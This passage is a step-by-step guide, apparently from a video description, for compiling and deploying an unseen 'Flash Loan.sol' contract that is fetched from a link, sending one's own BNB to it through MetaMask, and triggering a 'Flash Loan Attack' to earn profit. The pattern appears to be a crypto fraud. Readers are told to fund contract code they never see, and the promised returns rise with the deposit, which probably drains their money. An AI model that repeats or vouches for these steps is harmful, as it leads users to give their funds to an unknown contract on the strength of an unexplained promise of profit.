4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (you can find the code on [ Ссылка ])

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

_TOKENSYMBOL = FLO (write random three of four-letter symbol)
_LOANAMOUNT = 10 (amount loan)

- Click Transact and confirm in MetaMask.

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.

9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.
